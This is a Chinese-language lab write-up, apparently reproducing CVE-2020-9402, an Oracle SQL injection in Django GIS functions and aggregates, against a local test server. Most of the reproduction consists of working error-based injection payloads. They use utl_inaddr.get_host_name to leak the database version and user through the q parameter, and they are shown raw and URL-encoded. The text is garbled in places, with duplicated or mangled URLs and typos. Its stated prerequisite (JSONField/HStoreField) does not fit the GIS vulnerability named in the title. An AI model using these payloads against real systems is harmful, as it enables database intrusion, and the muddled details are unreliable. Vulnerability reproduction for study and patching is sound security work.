Django GIS 函数和聚合上的Oracle SQL 注入漏洞 (CVE-2020-9402)

Django GIS 函数和聚合上的Oracle SQL 注入漏洞 (CVE-2020-9402)

Django 于 2020 年 3 月 4 日发布了安全更新,修复了 GIS 函数和聚合中的 SQL 注入漏洞。

参考链接:

该漏洞需要开发者使用JSONField/HStoreField;并且可以控制查询集的字段名称。Django 的内置应用程序 Django-Admin 受到影响,这为我们提供了一个简单的方法来重现该漏洞。

漏洞复现

环境启动后,就可以看到Django的主页了http://192.168.44.132:8000

访问网站 http://192.168.44.132:8000/vuln/

然后添加20) = 1 OR (select utl_inaddr.get_host_name((SELECT version FROM v$instance)) from dual) is null OR (1+1到 GET para,eter,其中 q 是 quertset:

http://192.168.44.132:8000/vuln/?q=20)%20%3D%201%20OR%20(select%20utl_inaddr.get_host_name((SELECT%20version%20FROM%20v%24instance))%20from%20dual )%20is%20null%20%20OR%20 %3D 1 OR (select utl_inaddr.get_host_name((SELECT version FROM v%24instance)) from dual) is null OR ) (1%2B1可以看到括号已经注入成功,SQL语句报错:

image-20210712215031879

或者您可以评估其他网站http://your-ip:8000/vuln2/,并添加0.05))) FROM "VULN_COLLECTION2" where (select utl_inaddr.get_host_name((SELECT user FROM DUAL)) from dual) is not null --到 GET para,eter,其中 q 是 quertset:

http://your-ip:8000/vuln2/?q=0.05)))%20FROM%20%22VULN_COLLECTION2%22%20%20where%20%20(select%20utl_inaddr.get_host_name((SELECT%20user%20FROM%20DUAL) ))%20from%20dual)%20is%20not%20null%20%20–)) FROM “VULN_COLLECTION2” where (select utl_inaddr.get_host_name((SELECT user FROM DUAL)) from dual) is not null –)

还可以看到SQL语句报错:

image-20210712215052634

0%